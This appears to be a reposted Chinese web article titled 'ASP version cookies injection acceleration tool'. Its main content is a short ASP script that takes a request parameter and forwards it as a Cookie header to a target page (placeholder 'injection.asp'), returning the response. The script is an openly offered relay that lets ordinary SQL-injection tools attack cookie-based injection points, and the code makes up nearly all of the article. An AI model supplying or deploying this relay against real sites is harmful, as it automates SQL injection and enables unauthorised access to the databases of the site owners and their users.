作家
登录

ASP版实现cookies注入加速工具

作者: 来源:www.28hudong.com 2013-03-30 08:32:48 阅读 我要评论

来源:职业欠钱&zj1244共用的public Blog 复制代码 代码如下:<% Str="xxxid="&escape(request("FK")) Url="http://xxx.chinaxxx.com/injection.asp" response.write PostData(Url,Str) Function PostData(PostUrl,PostCok) Dim Http Set Http = Server.CreateObject("msxml2.serverXMLHTTP") With Http .Open "GET",PostUrl,False .SetRequestHeader "Cookie",PostCok .Send PostData = .ResponseBody End With Set Http = Nothing PostData =bytes2BSTR(PostData) End Function Function bytes2BSTR(vIn) Dim strReturn Dim I, ThisCharCode, NextCharCode strReturn = "" For I = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn, I, 1)) If ThisCharCode < &H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn, I + 1, 1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) I = I + 1 End If Next bytes2BSTR = strReturn End Function %>

  推荐阅读

  asp 存贮过程 (SQL版asp调用存储过程)

存贮过程(SQL样版) 今天发个SQL存贮过程给大家认识 复制代码 代码如下:CREATE PROCEDURE login_verify ( @community_id int, --拿值 @username varchar(20), @password varchar(40), @result tinyint output>>>详细阅读


本文标题:ASP版实现cookies注入加速工具

地址:http://www.17bianji.com/kaifa2/ASP/32349.html

关键词: 探索发现

乐购科技部分新闻及文章转载自互联网,供读者交流和学习,若有涉及作者版权等问题请及时与我们联系,以便更正、删除或按规定办理。感谢所有提供资讯的网站,欢迎各类媒体与乐购科技进行文章共享合作。

网友点评
自媒体专栏

评论

热度

精彩导读
栏目ID=71的表不存在(操作类型=0)